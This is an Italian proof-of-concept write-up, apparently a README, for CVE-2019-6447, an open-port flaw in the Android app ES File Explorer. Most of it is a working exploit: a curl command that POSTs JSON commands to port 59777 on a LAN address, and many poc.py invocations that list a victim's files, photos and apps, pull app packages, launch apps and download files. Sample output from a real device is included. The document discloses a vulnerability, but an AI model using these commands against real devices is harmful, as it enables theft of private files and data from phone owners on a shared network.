
Vulnerabilità di porta aperta in ES File Explorer - CVE-2019-6447
Come da descrizione su Google Play:
ES File Explorer (File Manager) è un gestore di file completo (Immagini, Musica, Film, Documenti, app) sia per uso locale che in rete! Con oltre 500 milioni di utenti in tutto il mondo, ES File Explorer (File Manager) ti aiuta a gestire il tuo telefono Android e i file in modo efficiente ed efficace e a condividere file senza costi di dati.
Ogni volta che un utente avvia l'app, viene avviato un server HTTP. Questo server apre localmente la porta 59777:
angler:/ # netstat -ap | grep com.estrongs
tcp6 0 0 :::59777 :::* LISTEN 5696/com.estrongs.android.pop
Su questa porta, un attaccante può inviare un payload JSON al target
curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777
Questi comandi permettono a un attaccante connesso sulla stessa rete locale della vittima di ottenere molte informazioni interessanti (informazioni sul dispositivo, app installate, ...) sul telefono della vittima, ottenere un file in remoto dal telefono della vittima e avviare un'app in remoto sul telefono della vittima.
4.1.9.7.4 e precedenti
Con il seguente Proof of Concept (POC), puoi:
$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg
$ python poc.py --cmd appPull --pkg com.tencent.mm
$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm
$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}
$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}
$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}
$ python poc.py --cmd listAppsSdcard
$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }
$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }
$ python poc.py --cmd listVideos
$ python poc.py --cmd listFiles
$ python poc.py --cmd listFiles --network 192.168.1.
$ python poc.py --cmd listFiles --ip 192.168.4.17
$ python poc.py list
######################
# Comandi Disponibili #
######################
listFiles: Elenca tutti i file
listPics: Elenca tutte le immagini
listVideos: Elenca tutti i video
listAudios: Elenca tutti i file audio
listApps: Elenca tutte le app installate
listAppsSystem: Elenca tutte le app di sistema
listAppsPhone: Elenca tutte le app del telefono
listAppsSdcard: Elenca tutti i file apk nella sdcard
listAppsAll: Elenca tutte le app installate (incluse quelle di sistema)
getDeviceInfo: Ottieni informazioni sul dispositivo
appPull: Estrai un'app dal dispositivo. È necessario il parametro del nome del pacchetto
appLaunch: Avvia un'app. È necessario il parametro del nome del pacchetto
getAppThumbnail: Ottieni l'icona di un'app. È necessario il parametro del nome del pacchetto
Seguimi su Twitter! Puoi anche trovare una piccola parte del mio lavoro su https://fs0c131y.com
Seguendo un suggerimento di @moonbocal, l'indagine e il POC sono stati realizzati con ❤️ da @fs0c131y